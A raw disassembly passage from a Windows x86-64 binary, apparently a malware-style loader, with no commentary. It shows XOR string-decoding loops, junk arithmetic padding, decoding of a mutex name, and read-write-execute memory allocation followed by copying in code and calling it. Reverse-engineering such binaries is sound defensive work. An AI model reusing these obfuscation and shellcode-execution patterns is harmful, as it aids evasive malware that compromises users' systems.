mov qword [r15 + rax*8 + 0x3ff50], r8
inc rax
mov qword [0x140042210], rax
mov rcx, qword [sym.imp.KERNEL32.dll_GetLastError]
call r8
nop
mov rdx, qword [rsp + 0x170]
xor rdx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rdx
mov rcx, qword [rsp + 0x180]
mov qword [rcx], rdx
cmp eax, 0xb7
jne 0x14001ee87
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400250a0
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm0, xmmword [0x140037350]
movups xmmword [rsp + 0x160], xmm0
mov dword [rsp + 0x40], esi
xorps xmm0, xmm0
movsd qword [rsp + 0x148], xmm0
lea rcx, [rsp + 0x48]
call fcn.140001650
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140026e80
lea rcx, [rsp + 0x190]
call fcn.140002520
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.140026ea0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026ef0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f20
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f50
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f80
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026fb0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024c0
test al, al
jns 0x14001ee71
movsd xmm7, qword [0x1400372b0]
movsd xmm6, qword [0x1400372a8]
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm1, xmm5
call fcn.140002370
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.140026080
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.1400022e0
lea rcx, [rsp + 0x1b0]
call fcn.140002520
lea rcx, [rsp + 0x1b0]
call fcn.140025170
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027070
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.1400023f0
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400270d0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov r8d, ebx
mov edx, eax
call fcn.1400024f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001ed54
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001ed63
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax + rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001edf1
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001ee18
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001ed80
sub rdi, 1
jne 0x14001ed70
lea rcx, [rsp + 0x1b0]
call fcn.140025110
nop
lea rcx, [rsp + 0x200]
call fcn.140026020
sub rsi, 1
jne 0x14001eb00
lea rcx, [rsp + 0x60]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024c0
test al, al
js 0x14001eaf0
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.140024fd0
jmp 0x140023f51
movsd xmm0, qword [0x140036708]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140036710]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x140036714]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x14001f034
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm6
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140036708]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14001f050
lea r8, [0x140043e90]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x220]
call fcn.1400275e0
mov rcx, rax
call fcn.140025e40
mov r8, rax
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov r14, rax
lea rcx, [rsp + 0x220]
call fcn.140026020
movups xmm0, xmmword [0x1400363b0]
movups xmmword [rsp + 0x1d0], xmm0
movzx ecx, byte [0x1400363c0]
mov byte [rsp + 0x1e0], cl
mov r9d, esi
cmp edi, 2
jl 0x14001f2a0
movdqa xmmword [rsp + 0x160], xmm6
lea rcx, [rsp + 0x1d4]
mov edx, dword [rsp + 0x160]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14001f121
cmp r9d, 0x11
jge 0x14001f2fc
movsxd rax, r9d
lea r10, [rsp + 0x1d0]
add r10, rax
nop
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x14001f2b0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14001f369
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x14001f358
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001f340
jmp 0x14001f369
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14001f44f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001f392
mov r8, rsi
jmp 0x14001f42e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001f3a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400250a0
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm9, xmmword [0x140037350]
movups xmmword [rsp + 0x160], xmm9
mov dword [rsp + 0x40], esi
xorps xmm10, xmm10
movsd qword [rsp + 0x148], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001650
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140026e80
lea rcx, [rsp + 0x190]
call fcn.140002520
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.140026ea0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026ef0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f20
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f50
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f80
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026fb0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024c0
movsd xmm8, qword [0x1400372b0]
movsd xmm6, qword [0x1400372a8]
test al, al
jns 0x14001fa47
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm1, xmm5
call fcn.140002370
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.140026080
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.1400022e0
lea rcx, [rsp + 0x1b0]
call fcn.140002520
lea rcx, [rsp + 0x1b0]
call fcn.140025170
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027070
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.1400023f0
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400270d0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov r8d, ebx
mov edx, eax
call fcn.1400024f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001f925
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001f934
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001f9c1
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001f9e8
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001f950
sub rdi, 1
jne 0x14001f940
lea rcx, [rsp + 0x1b0]
call fcn.140025110
nop
lea rcx, [rsp + 0x200]
call fcn.140026020
sub rsi, 1
jne 0x14001f6d0
lea rcx, [rsp + 0x60]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024c0
test al, al
js 0x14001f6c0
mov edi, dword [0x14003f090]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.140024fd0
test r14, r14
je 0x14001fa6b
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140023f51
movsd xmm0, qword [0x140036948]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140036950]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x140036954]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x14001fc1c
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037370]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140036948]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm5, xmmword [0x140037310]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm5
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm5
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14001fc30
lea rax, [rsp + 0x160]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14001fce9
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x14001fcd8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001fcc0
jmp 0x14001fce9
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14001fdcf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001fd12
mov r8, rsi
jmp 0x14001fdae
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
